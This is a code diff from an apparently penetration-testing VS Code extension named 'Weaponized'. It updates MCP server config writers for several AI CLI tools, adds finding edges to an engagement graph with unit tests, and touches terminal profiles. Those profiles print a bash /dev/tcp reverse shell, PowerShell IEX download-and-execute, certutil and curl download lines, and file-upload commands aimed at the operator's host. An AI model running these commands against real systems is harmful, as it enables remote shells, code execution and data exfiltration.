+ + const target = cli as CliTarget; + const updater = CONFIG_UPDATERS[target]; + if (!updater) { + return; + } - const mcpJsonUri = vscode.Uri.joinPath(workspace.uri, ".vscode", "mcp.json"); - let mcpJson: McpJson; try { - const existing = await vscode.workspace.fs.readFile(mcpJsonUri); - mcpJson = JSON.parse(new TextDecoder().decode(existing)); + await updater(workspace.uri, port); + logger.info(`Auto-updated ${CLI_CONFIG_PATHS[target]}: port → ${port}`); + vscode.window.showInformationMessage( + `Weaponized MCP server ready on port ${port} (${CLI_LABELS[target]})` + ); } catch { - return; // mcp.json doesn't exist yet — user hasn't run install command + // config file doesn't exist or doesn't contain our entry — skip silently } +} - if (!mcpJson.servers?.[MCP_SERVER_ID]) { - return; // our server not configured yet +// ─── CLI Target Resolution ─────────────────────────────────────────────────── + +async function resolveCliTarget(): Promise { + const config = vscode.workspace.getConfiguration("weaponized"); + const saved = config.get("mcp.cli", ""); + + if (saved && saved in CLI_LABELS) { + return saved as CliTarget; } - // Update the port - mcpJson.servers[MCP_SERVER_ID] = { url: `http://127.0.0.1:${port}/mcp` }; - await vscode.workspace.fs.writeFile( - mcpJsonUri, - new TextEncoder().encode(JSON.stringify(mcpJson, null, 2) + "\n") - ); - logger.info(`Auto-updated mcp.json: port → ${port}`); + // Prompt user to pick one + const items = (Object.keys(CLI_LABELS) as CliTarget[]).map((key) => ({ + label: CLI_LABELS[key], + description: CLI_CONFIG_PATHS[key], + target: key, + })); + + const picked = await vscode.window.showQuickPick(items, { + placeHolder: "Select the AI CLI tool to install MCP config for", + title: "MCP Install Target", + }); + + if (!picked) { + return undefined; + } + + // Save to workspace settings + await config.update("mcp.cli", picked.target, vscode.ConfigurationTarget.Workspace); + return picked.target; +} + +// ─── Config Writers ────────────────────────────────────────────────────────── + +async function writeConfigFor(cli: CliTarget, workspaceUri: vscode.Uri, port: number): Promise { + const url = `http://127.0.0.1:${port}/mcp`; + + switch (cli) { + case "vscode": + return writeJsonConfig(workspaceUri, [".vscode", "mcp.json"], (json) => { + if (!json.servers) { json.servers = {}; } + json.servers[MCP_SERVER_ID] = { url }; + }); + + case "claude": + return writeJsonConfig(workspaceUri, [".mcp.json"], (json) => { + if (!json.mcpServers) { json.mcpServers = {}; } + json.mcpServers[MCP_SERVER_ID] = { type: "http", url }; + }); + + case "gemini": + return writeJsonConfig(workspaceUri, [".gemini", "settings.json"], (json) => { + if (!json.mcpServers) { json.mcpServers = {}; } + json.mcpServers[MCP_SERVER_ID] = { httpUrl: url }; + }); + + case "opencode": + return writeJsonConfig(workspaceUri, [".opencode.json"], (json) => { + if (!json.mcpServers) { json.mcpServers = {}; } + json.mcpServers[MCP_SERVER_ID] = { type: "sse", url }; + }); + + case "codex": + return writeCodexToml(workspaceUri, url); + } } -async function writeMcpJson(workspace: vscode.WorkspaceFolder, port: number): Promise { - const vscodeDir = vscode.Uri.joinPath(workspace.uri, ".vscode"); - const mcpJsonUri = vscode.Uri.joinPath(vscodeDir, "mcp.json"); +// ─── JSON helper (read-merge-write) ───────────────────────────────────────── + +type JsonObject = Record; + +async function writeJsonConfig( + workspaceUri: vscode.Uri, + pathSegments: string[], + mutate: (json: JsonObject) => void +): Promise { + const fileUri = vscode.Uri.joinPath(workspaceUri, ...pathSegments); - let mcpJson: McpJson = {}; + // Ensure parent directories exist + if (pathSegments.length > 1) { + const dirUri = vscode.Uri.joinPath(workspaceUri, ...pathSegments.slice(0, -1)); + try { await vscode.workspace.fs.createDirectory(dirUri); } catch { /* exists */ } + } + + let json: JsonObject = {}; try { - const existing = await vscode.workspace.fs.readFile(mcpJsonUri); - mcpJson = JSON.parse(new TextDecoder().decode(existing)); + const existing = await vscode.workspace.fs.readFile(fileUri); + json = JSON.parse(new TextDecoder().decode(existing)); } catch { // file doesn't exist yet } - if (!mcpJson.servers) { - mcpJson.servers = {}; - } + mutate(json); + + await vscode.workspace.fs.writeFile( + fileUri, + new TextEncoder().encode(JSON.stringify(json, null, 2) + "\n") + ); +} + +// ─── TOML helper for Codex ────────────────────────────────────────────────── - mcpJson.servers[MCP_SERVER_ID] = { url: `http://127.0.0.1:${port}/mcp` }; +const CODEX_SECTION_HEADER = `[mcp_servers.${MCP_SERVER_ID}]`; +async function writeCodexToml(workspaceUri: vscode.Uri, url: string): Promise { + const dirUri = vscode.Uri.joinPath(workspaceUri, ".codex"); + const fileUri = vscode.Uri.joinPath(dirUri, "config.toml"); + + try { await vscode.workspace.fs.createDirectory(dirUri); } catch { /* exists */ } + + const entry = `${CODEX_SECTION_HEADER}\nurl = "${url}"\n`; + + let content = ""; try { - await vscode.workspace.fs.createDirectory(vscodeDir); + const existing = await vscode.workspace.fs.readFile(fileUri); + content = new TextDecoder().decode(existing); } catch { - // already exists + // file doesn't exist } - await vscode.workspace.fs.writeFile( - mcpJsonUri, - new TextEncoder().encode(JSON.stringify(mcpJson, null, 2) + "\n") - ); + if (!content) { + await vscode.workspace.fs.writeFile(fileUri, new TextEncoder().encode(entry)); + return; + } + + // Replace existing section or append + const sectionIdx = content.indexOf(CODEX_SECTION_HEADER); + if (sectionIdx !== -1) { + // Find the end of this section (next [section] or EOF) + const afterHeader = sectionIdx + CODEX_SECTION_HEADER.length; + const nextSection = content.indexOf("\n[", afterHeader); + const sectionEnd = nextSection !== -1 ? nextSection + 1 : content.length; + content = content.slice(0, sectionIdx) + entry + content.slice(sectionEnd); + } else { + // Append with a blank line separator + content = content.trimEnd() + "\n\n" + entry; + } + + await vscode.workspace.fs.writeFile(fileUri, new TextEncoder().encode(content)); } +// ─── Config Updaters (for auto-update on activation) ───────────────────────── + +type ConfigUpdater = (workspaceUri: vscode.Uri, port: number) => Promise; + +const CONFIG_UPDATERS: Record = { + vscode: async (workspaceUri, port) => { + const fileUri = vscode.Uri.joinPath(workspaceUri, ".vscode", "mcp.json"); + const json = JSON.parse(new TextDecoder().decode(await vscode.workspace.fs.readFile(fileUri))); + if (!json.servers?.[MCP_SERVER_ID]) { return; } + json.servers[MCP_SERVER_ID] = { url: `http://127.0.0.1:${port}/mcp` }; + await vscode.workspace.fs.writeFile(fileUri, new TextEncoder().encode(JSON.stringify(json, null, 2) + "\n")); + }, + + claude: async (workspaceUri, port) => { + const fileUri = vscode.Uri.joinPath(workspaceUri, ".mcp.json"); + const json = JSON.parse(new TextDecoder().decode(await vscode.workspace.fs.readFile(fileUri))); + if (!json.mcpServers?.[MCP_SERVER_ID]) { return; } + json.mcpServers[MCP_SERVER_ID] = { type: "http", url: `http://127.0.0.1:${port}/mcp` }; + await vscode.workspace.fs.writeFile(fileUri, new TextEncoder().encode(JSON.stringify(json, null, 2) + "\n")); + }, + + gemini: async (workspaceUri, port) => { + const fileUri = vscode.Uri.joinPath(workspaceUri, ".gemini", "settings.json"); + const json = JSON.parse(new TextDecoder().decode(await vscode.workspace.fs.readFile(fileUri))); + if (!json.mcpServers?.[MCP_SERVER_ID]) { return; } + json.mcpServers[MCP_SERVER_ID] = { httpUrl: `http://127.0.0.1:${port}/mcp` }; + await vscode.workspace.fs.writeFile(fileUri, new TextEncoder().encode(JSON.stringify(json, null, 2) + "\n")); + }, + + opencode: async (workspaceUri, port) => { + const fileUri = vscode.Uri.joinPath(workspaceUri, ".opencode.json"); + const json = JSON.parse(new TextDecoder().decode(await vscode.workspace.fs.readFile(fileUri))); + if (!json.mcpServers?.[MCP_SERVER_ID]) { return; } + json.mcpServers[MCP_SERVER_ID] = { type: "sse", url: `http://127.0.0.1:${port}/mcp` }; + await vscode.workspace.fs.writeFile(fileUri, new TextEncoder().encode(JSON.stringify(json, null, 2) + "\n")); + }, + + codex: async (workspaceUri, port) => { + const fileUri = vscode.Uri.joinPath(workspaceUri, ".codex", "config.toml"); + let content = new TextDecoder().decode(await vscode.workspace.fs.readFile(fileUri)); + const sectionIdx = content.indexOf(CODEX_SECTION_HEADER); + if (sectionIdx === -1) { return; } + const url = `http://127.0.0.1:${port}/mcp`; + const entry = `${CODEX_SECTION_HEADER}\nurl = "${url}"\n`; + const afterHeader = sectionIdx + CODEX_SECTION_HEADER.length; + const nextSection = content.indexOf("\n[", afterHeader); + const sectionEnd = nextSection !== -1 ? nextSection + 1 : content.length; + content = content.slice(0, sectionIdx) + entry + content.slice(sectionEnd); + await vscode.workspace.fs.writeFile(fileUri, new TextEncoder().encode(content)); + }, +}; + +// ─── Singleton ─────────────────────────────────────────────────────────────── + let _embeddedServer: EmbeddedMcpServer | undefined; export function setEmbeddedMcpServer(s: EmbeddedMcpServer): void { @@ -102,4 +290,3 @@ export function setEmbeddedMcpServer(s: EmbeddedMcpServer): void { export function getEmbeddedMcpServer(): EmbeddedMcpServer | undefined { return _embeddedServer; } - diff --git a/src/features/targets/sync/graphBuilder.ts b/src/features/targets/sync/graphBuilder.ts index 9062b3b..70e7bc8 100644 --- a/src/features/targets/sync/graphBuilder.ts +++ b/src/features/targets/sync/graphBuilder.ts @@ -6,6 +6,7 @@ export function buildRelationshipGraph(foam: Foam): RelationshipGraph { const edges: GraphEdge[] = []; const hostEdges: GraphEdge[] = []; const userEdges: GraphEdge[] = []; + const findingEdges: GraphEdge[] = []; const getId = (uri: URI) => foam.workspace.getIdentifier(uri) || uri.path; @@ -32,6 +33,9 @@ export function buildRelationshipGraph(foam: Foam): RelationshipGraph { if (targetNode.type === "host" || sourceNode.type === "host") { hostEdges.push(edge); } + if (targetNode.type === "finding" || sourceNode.type === "finding") { + findingEdges.push(edge); + } }); const attackPath = longestReferencePath(userEdges); @@ -46,6 +50,7 @@ export function buildRelationshipGraph(foam: Foam): RelationshipGraph { edges, hostEdges, userEdges, + findingEdges, attackPath, mermaid, }; diff --git a/src/features/terminal/profiles/msfprofile.ts b/src/features/terminal/profiles/msfprofile.ts index 9eaea97..d84a712 100644 --- a/src/features/terminal/profiles/msfprofile.ts +++ b/src/features/terminal/profiles/msfprofile.ts @@ -18,8 +18,8 @@ export const MsfconsoleWeaponizedTerminalProvider = new BaseWeaponizedTerminalPr let args: string[] = []; args.push("-x"); args.push( - `'setg LHOST=${variables(vscode.workspace.getConfiguration("weaponized").get("lhost", "$LHOST"))};` + - `setg LPORT=${variables(vscode.workspace.getConfiguration("weaponized").get("lport", "$LPORT"))};'`); + `'setg LHOST=${variables(String(vscode.workspace.getConfiguration("weaponized").get("lhost", "$LHOST")))};` + + `setg LPORT=${String(vscode.workspace.getConfiguration("weaponized").get("lport", "$LPORT"))};'`); logger.debug(`Starting msfconsole session with args: ${JSON.stringify(args)}`); return [ msfconsolePath, @@ -49,8 +49,8 @@ export const MeterpreterWeaponizedTerminalProvider = new BaseWeaponizedTerminalP } args.push("-x"); args.push( - `'setg LHOST=${variables(vscode.workspace.getConfiguration("weaponized").get("lhost", "$LHOST"))};` + - `setg LPORT=${variables(vscode.workspace.getConfiguration("weaponized").get("lport", "$LPORT"))};'`); + `'setg LHOST=${variables(String(vscode.workspace.getConfiguration("weaponized").get("lhost", "$LHOST")))};` + + `setg LPORT=${String(vscode.workspace.getConfiguration("weaponized").get("lport", "$LPORT"))};'`); logger.debug(`Starting Meterpreter session with args: ${JSON.stringify(args)}`); return [ msfconsolePath, diff --git a/src/features/terminal/profiles/netcatprofile.ts b/src/features/terminal/profiles/netcatprofile.ts index e120d92..fe687de 100644 --- a/src/features/terminal/profiles/netcatprofile.ts +++ b/src/features/terminal/profiles/netcatprofile.ts @@ -11,8 +11,8 @@ export const NetcatWeaponizedTerminalProvider = new BaseWeaponizedTerminalProvid vscode.window.showErrorMessage("Please set the 'weaponized.netcat' configuration in settings."); return []; } - let lprot = variables(vscode.workspace.getConfiguration("weaponized").get("lport", "$LPORT")); - netcatCommand = variables(netcatCommand).replace("$LPORT", lprot); // Resolve variables in the command + const lprot = String(vscode.workspace.getConfiguration("weaponized").get("lport", "$LPORT")); + netcatCommand = variables(netcatCommand).replace("$LPORT", lprot); let args: string[] = [ netcatCommand ]; @@ -22,8 +22,8 @@ export const NetcatWeaponizedTerminalProvider = new BaseWeaponizedTerminalProvid ]; }, () => { - let lhost = variables(vscode.workspace.getConfiguration("weaponized").get("lhost", "$LHOST")); - let lport = variables(vscode.workspace.getConfiguration("weaponized").get("lport", "$LPORT")); + const lhost = variables(String(vscode.workspace.getConfiguration("weaponized").get("lhost", "$LHOST"))); + const lport = String(vscode.workspace.getConfiguration("weaponized").get("lport", "$LPORT")); let msg = `\r\nIP ADDRESS: ${lhost}\tPORT: ${lport}\r\nBasic Reverse Shell Command:\r\n\t/bin/bash -i >& /dev/tcp/${lhost}/${lport} 0>&1\r\nAdvanced Reverse Shell Command:\r\n\thttps://rev.eson.ninja/?ip=${lhost}&port=${lport}\r\n`; return msg; } diff --git a/src/features/terminal/profiles/webprofile.ts b/src/features/terminal/profiles/webprofile.ts index c78ddb7..987aa2c 100644 --- a/src/features/terminal/profiles/webprofile.ts +++ b/src/features/terminal/profiles/webprofile.ts @@ -18,9 +18,9 @@ export const WebDeliveryWeaponizedTerminalProvider = "# Please set the 'weaponized.webdelivery' configuration in settings.", ]; } - let listenon = vscode.workspace + let listenon = String(vscode.workspace .getConfiguration("weaponized") - .get("listenon", "$LISTEN_ON"); + .get("listenon", "$LISTEN_ON")); let args: string[] = [ webDeliveryCommand = variables(webDeliveryCommand).replace("$LISTEN_ON", variables(listenon)), ]; @@ -31,12 +31,12 @@ export const WebDeliveryWeaponizedTerminalProvider = return args; }, () => { - let listenon = variables(vscode.workspace + let listenon = String(vscode.workspace .getConfiguration("weaponized") - .get("listenon", "$LISTEN_ON")); - let lhost = variables(vscode.workspace + .get("listenon", "$LISTEN_ON")); + let lhost = variables(String(vscode.workspace .getConfiguration("weaponized") - .get("lhost", "$LHOST")); + .get("lhost", "$LHOST"))); let nl = "\r\n"; let msg = String.raw`==============================================================================================${nl} WEB DELIVERY BASIC INFO${nl}YOUR IP: ${lhost} YOUR PORT: ${listenon}${nl}YOUR URL: http://${lhost}:${listenon}/${nl}==============================================================================================${nl} TIPS FOR WEB DELIVERY ${nl}==============================================================================================${nl} DOWNLAODING${nl}${nl}curl --output filename http://${lhost}:${listenon}/fname${nl}wget http://${lhost}:${listenon}/fname${nl}invoke-webrequest -outfile fname -usebasicparsing -uri http://${lhost}:${listenon}/fname${nl}certutil.exe -urlcache -f http://${lhost}:${listenon}/fname fname.exe${nl}==============================================================================================${nl} POWERSHELL MEMORY EXECUTION${nl}${nl}IEX (New-Object Net.WebClient).DownloadString('http://${lhost}:${listenon}/fname')${nl}==============================================================================================${nl} UPLOADING${nl}PS: enable this need pdteam/simplehttpserver with -upload${nl} and following will put file in uploadfile${nl}${nl}curl http://${lhost}:${listenon}/uploadfile --upload-file filename${nl}curl http://${lhost}:${listenon}/uploadfile -T filename${nl}wget --output-document - --method=PUT http://${lhost}:${listenon}/uploadfile --body-file=filename${nl}invoke-webrequest -Uri http://${lhost}:${listenon}/uploadfile -Method PUT -InFile filename${nl}==============================================================================================${nl}PS: If your terminal can't display this notes properly, you need resize your terminal window.${nl}`; return msg; diff --git a/src/test/unit/core/domain/engagement.test.ts b/src/test/unit/core/domain/engagement.test.ts new file mode 100644 index 0000000..28ba7fc --- /dev/null +++ b/src/test/unit/core/domain/engagement.test.ts @@ -0,0 +1,284 @@ +import * as assert from "assert"; +import { buildEngagementSummary } from "../../../../core/domain/engagement"; +import type { Finding } from "../../../../core/domain/finding"; +import type { RelationshipGraph, GraphNode, GraphEdge } from "../../../../core/domain/graph"; + +function makeFinding(id: string, title?: string): Finding { + return { + id, + title: title ?? id, + severity: "info", + tags: [], + description: "", + references: "", + props: {}, + }; +} + +function makeGraph( + nodes: GraphNode[], + findingEdges: GraphEdge[], +): RelationshipGraph { + return { + nodes, + edges: findingEdges, + hostEdges: [], + userEdges: [], + findingEdges, + attackPath: [], + mermaid: "", + }; +} + +suite("buildEngagementSummary", () => { + test("returns empty summary when everything is empty", () => { + const summary = buildEngagementSummary({ + hosts: [], + users: [], + findings: [], + graph: null, + }); + assert.strictEqual(summary.stats.totalHosts, 0); + assert.strictEqual(summary.stats.totalCredentials, 0); + assert.strictEqual(summary.stats.totalFindings, 0); + assert.strictEqual(summary.stats.criticalFindings, 0); + assert.strictEqual(summary.currentTarget, null); + assert.strictEqual(summary.currentUser, null); + assert.strictEqual(summary.graph, null); + assert.strictEqual(summary.findingAssociations.length, 0); + }); + + test("computes severity stats", () => { + const findings = [ + { ...makeFinding("f1"), severity: "critical" }, + { ...makeFinding("f2"), severity: "high" }, + { ...makeFinding("f3"), severity: "high" }, + { ...makeFinding("f4"), severity: "medium" }, + { ...makeFinding("f5"), severity: "low" }, + { ...makeFinding("f6"), severity: "info" }, + ]; + const summary = buildEngagementSummary({ + hosts: [], + users: [], + findings, + graph: null, + }); + assert.strictEqual(summary.stats.totalFindings, 6); + assert.strictEqual(summary.stats.criticalFindings, 1); + assert.strictEqual(summary.stats.highFindings, 2); + assert.strictEqual(summary.stats.mediumFindings, 1); + assert.strictEqual(summary.stats.lowFindings, 1); + assert.strictEqual(summary.stats.infoFindings, 1); + }); + + test("identifies current target and user", () => { + const hosts = [ + { hostname: "dc01", ip: "10.10.10.1", alias: [], is_dc: true, is_current: true, is_current_dc: true, props: {} }, + { hostname: "web01", ip: "10.10.10.2", alias: [], is_dc: false, is_current: false, is_current_dc: false, props: {} }, + ]; + const users = [ + { user: "admin", password: "pass", nt_hash: "", login: "corp", is_current: true, props: {} }, + ]; + const summary = buildEngagementSummary({ + hosts: hosts as any, + users: users as any, + findings: [], + graph: null, + }); + assert.strictEqual(summary.stats.totalHosts, 2); + assert.strictEqual(summary.stats.totalCredentials, 1); + assert.strictEqual(summary.currentTarget?.hostname, "dc01"); + assert.strictEqual(summary.currentUser?.user, "admin"); + }); + + test("derives finding associations from graph findingEdges", () => { + const findings = [makeFinding("sqli-login"), makeFinding("smb-signing")]; + const nodes: GraphNode[] = [ + { id: "dc01", type: "host", title: "dc01" }, + { id: "admin", type: "user", title: "administrator" }, + { id: "sqli-login", type: "finding", title: "SQL Injection" }, + { id: "smb-signing", type: "finding", title: "SMB Signing Disabled" }, + ]; + const findingEdges: GraphEdge[] = [ + { source: "dc01", target: "sqli-login" }, + { source: "admin", target: "sqli-login" }, + { source: "dc01", target: "smb-signing" }, + ]; + const graph = makeGraph(nodes, findingEdges); + const summary = buildEngagementSummary({ + hosts: [], + users: [], + findings, + graph, + }); + + assert.strictEqual(summary.findingAssociations.length, 2); + + const sqli = summary.findingAssociations.find((a) => a.finding.id === "sqli-login"); + assert.ok(sqli); + assert.deepStrictEqual(sqli.hosts, ["dc01"]); + assert.deepStrictEqual(sqli.users, ["admin"]); + assert.deepStrictEqual(sqli.services, []); + assert.deepStrictEqual(sqli.findings, []); + + const smb = summary.findingAssociations.find((a) => a.finding.id === "smb-signing"); + assert.ok(smb); + assert.deepStrictEqual(smb.hosts, ["dc01"]); + assert.deepStrictEqual(smb.users, []); + }); + + test("derives finding-to-finding chains", () => { + const findings = [makeFinding("kerberoast"), makeFinding("dcsync")]; + const nodes: GraphNode[] = [ + { id: "kerberoast", type: "finding", title: "Kerberoast" }, + { id: "dcsync", type: "finding", title: "DCSync" }, + { id: "svc_sql", type: "user", title: "svc_sql" }, + ]; + const findingEdges: GraphEdge[] = [ + { source: "svc_sql", target: "kerberoast" }, + { source: "kerberoast", target: "dcsync" }, + ]; + const graph = makeGraph(nodes, findingEdges); + const summary = buildEngagementSummary({ + hosts: [], + users: [], + findings, + graph, + }); + + const kerb = summary.findingAssociations.find((a) => a.finding.id === "kerberoast"); + assert.ok(kerb); + assert.deepStrictEqual(kerb.users, ["svc_sql"]); + assert.deepStrictEqual(kerb.findings, ["dcsync"]); + + const dc = summary.findingAssociations.find((a) => a.finding.id === "dcsync"); + assert.ok(dc); + assert.deepStrictEqual(dc.findings, ["kerberoast"]); + }); + + test("hostBreakdown groups findings by associated host", () => { + const findings = [makeFinding("f1"), makeFinding("f2"), makeFinding("f3")]; + const nodes: GraphNode[] = [ + { id: "dc01", type: "host", title: "dc01" }, + { id: "web01", type: "host", title: "web01" }, + { id: "f1", type: "finding", title: "f1" }, + { id: "f2", type: "finding", title: "f2" }, + { id: "f3", type: "finding", title: "f3" }, + ]; + const findingEdges: GraphEdge[] = [ + { source: "dc01", target: "f1" }, + { source: "dc01", target: "f2" }, + { source: "web01", target: "f3" }, + ]; + const graph = makeGraph(nodes, findingEdges); + const summary = buildEngagementSummary({ + hosts: [], + users: [], + findings, + graph, + }); + + assert.strictEqual(Object.keys(summary.hostBreakdown).length, 2); + assert.strictEqual(summary.hostBreakdown["dc01"].length, 2); + assert.strictEqual(summary.hostBreakdown["web01"].length, 1); + }); + + test("userBreakdown groups findings by associated user", () => { + const findings = [makeFinding("f1"), makeFinding("f2")]; + const nodes: GraphNode[] = [ + { id: "admin", type: "user", title: "admin" }, + { id: "f1", type: "finding", title: "f1" }, + { id: "f2", type: "finding", title: "f2" }, + ]; + const findingEdges: GraphEdge[] = [ + { source: "admin", target: "f1" }, + { source: "admin", target: "f2" }, + ]; + const graph = makeGraph(nodes, findingEdges); + const summary = buildEngagementSummary({ + hosts: [], + users: [], + findings, + graph, + }); + + assert.strictEqual(Object.keys(summary.userBreakdown).length, 1); + assert.strictEqual(summary.userBreakdown["admin"].length, 2); + }); + + test("unassociatedFindings lists findings with no graph edges", () => { + const findings = [makeFinding("f1"), makeFinding("orphan")]; + const nodes: GraphNode[] = [ + { id: "dc01", type: "host", title: "dc01" }, + { id: "f1", type: "finding", title: "f1" }, + ]; + const findingEdges: GraphEdge[] = [ + { source: "dc01", target: "f1" }, + ]; + const graph = makeGraph(nodes, findingEdges); + const summary = buildEngagementSummary({ + hosts: [], + users: [], + findings, + graph, + }); + + assert.strictEqual(summary.unassociatedFindings.length, 1); + assert.strictEqual(summary.unassociatedFindings[0].id, "orphan"); + }); + + test("severity counting is case-insensitive", () => { + const findings = [ + { ...makeFinding("f1"), severity: "High" }, + { ...makeFinding("f2"), severity: "CRITICAL" }, + { ...makeFinding("f3"), severity: "Medium" }, + { ...makeFinding("f4"), severity: "low" }, + ]; + const summary = buildEngagementSummary({ + hosts: [], + users: [], + findings, + graph: null, + }); + assert.strictEqual(summary.stats.totalFindings, 4); + assert.strictEqual(summary.stats.criticalFindings, 1); + assert.strictEqual(summary.stats.highFindings, 1); + assert.strictEqual(summary.stats.mediumFindings, 1); + assert.strictEqual(summary.stats.lowFindings, 1); + }); + + test("derives finding-to-service associations", () => { + const findings = [makeFinding("webshell")]; + const nodes: GraphNode[] = [ + { id: "webshell", type: "finding", title: "Web Shell" }, + { id: "http-443", type: "service", title: "HTTPS/443" }, + ]; + const findingEdges: GraphEdge[] = [ + { source: "webshell", target: "http-443" }, + ]; + const graph = makeGraph(nodes, findingEdges); + const summary = buildEngagementSummary({ + hosts: [], + users: [], + findings, + graph, + }); + const assoc = summary.findingAssociations.find((a) => a.finding.id === "webshell"); + assert.ok(assoc); + assert.deepStrictEqual(assoc.services, ["http-443"]); + }); + + test("no graph means all findings are unassociated", () => { + const findings = [makeFinding("f1"), makeFinding("f2")]; + const summary = buildEngagementSummary({ + hosts: [], + users: [], + findings, + graph: null, + }); + assert.strictEqual(summary.unassociatedFindings.length, 2); + assert.strictEqual(summary.findingAssociations.length, 2); + assert.deepStrictEqual(summary.findingAssociations[0].hosts, []); + assert.strictEqual(Object.keys(summary.hostBreakdown).length, 0); + }); +}); diff --git a/src/test/unit/core/domain/graph.test.ts b/src/test/unit/core/domain/graph.test.ts index 874ea3e..475df61 100644 --- a/src/test/unit/core/domain/graph.test.ts +++ b/src/test/unit/core/domain/graph.test.ts @@ -1,5 +1,5 @@ import * as assert from "assert"; -import { longestReferencePath } from "../../../../core/domain/graph"; +import { longestReferencePath, RelationshipGraph } from "../../../../core/domain/graph"; import type { GraphEdge } from "../../../../core/domain/graph"; suite("longestReferencePath", () => { @@ -95,3 +95,19 @@ suite("longestReferencePath", () => { assert.ok(result.includes("z")); }); }); + +suite("RelationshipGraph findingEdges", () => { + test("findingEdges field exists and is an array", () => { + const graph: RelationshipGraph = { + nodes: [], + edges: [], + hostEdges: [], + userEdges: [], + findingEdges: [], + attackPath: [], + mermaid: "", + }; + assert.ok(Array.isArray(graph.findingEdges)); + assert.strictEqual(graph.findingEdges.length, 0); + }); +});